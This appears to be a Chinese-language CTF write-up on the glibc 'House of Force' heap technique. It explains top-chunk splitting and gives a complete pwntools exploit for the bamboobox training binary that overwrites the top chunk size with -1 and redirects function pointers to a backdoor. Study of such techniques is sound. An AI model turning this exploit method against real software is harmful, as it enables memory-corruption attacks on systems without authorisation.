House of Force
2022-03-31 19:24:38
House of Force
利用前提:
能以溢出的方式控制到top chunk的size域
能自由地控制堆分配尺寸的大小
漏洞原理:
1、top chunk的分割机制:
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
//分割流程:
//在top chunk的head处,以用户申请的chunk大小为偏移量,将top chunk的位置推到新的位置==》原来的topchunk head处作为新的堆块分配给用户
===》如果能控制top chunk在这个偏移中偏移到任意位置==》
top chunk的szie修改为很大的值,用户就可以申请一个任意大小的chunk,达到控制内存的目的
===》
利用方式:
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)
将size修改为-1==》在进行比较时会把size转换为无符号数==》
-1是unsigned long中的最大数
==》接下来用户进行申请堆块:
注意点:
始终确保top_chunk的size减去申请的size要大于MINSIZE
可以申请负数大小的堆块抬高top_chunk(申请到低地址)(注意边界对齐)
可以申请正数大小的堆块降低top_chunk(申请到高地址)
例题:
hitcontraining_bamboobox
检查保护
静态分析
主函数:
1、show函数:
2、add函数:
3、change函数:
4、delete:
后门函数:
思路:
在change函数中出现任意长度的溢出==》
溢出至top chunk修改size为-1==》
向上申请(向低地址)至覆盖第一个chunk==》
第一个chunk中为一个0x20大小的堆块,其中存放着两个函数指针==》
将这个chunk申请出来,覆盖其函数指针为magci后门函数==》获得flag
exp:
#coding=UTF-8
from pwn import *
io=process('./bamboobox')
elf=ELF('./bamboobox')
def show():
io.recvuntil("Your choice:")
io.sendline('1')
def add(size,content):
io.recvuntil("Your choice:")
io.sendline('2')
io.recvuntil("Please enter the length of item name:")
io.sendline(str(size))
io.recvuntil("Please enter the name of item:")
io.send(content)
def change(index,size,content):
io.recvuntil("Your choice:")
io.sendline('3')
io.recvuntil("Please enter the index of item:")
io.sendline(str(index))
io.recvuntil("Please enter the length of item name:")
io.sendline(str(size))
io.recvuntil("Please enter the new name of the item:")
io.send(content)
def free(index):
io.recvuntil("Your choice:")
io.sendline('4')
io.recvuntil("Please enter the index of item:")
io.sendline(str(index))
add(0x10,'aaaa')
change(0,0x30,'a'*0x28+p64(0xffffffffffffffff))
#gdb.attach(io)
base=-(0x40+0x20)
add(base,'aaaa')
#gdb.attach(io)
back=0x400D49
add(0x10,p64(back)*2)
io.recvuntil("Your choice:")
io.sendline('5')
#gdb.attach(io)
io.interactive()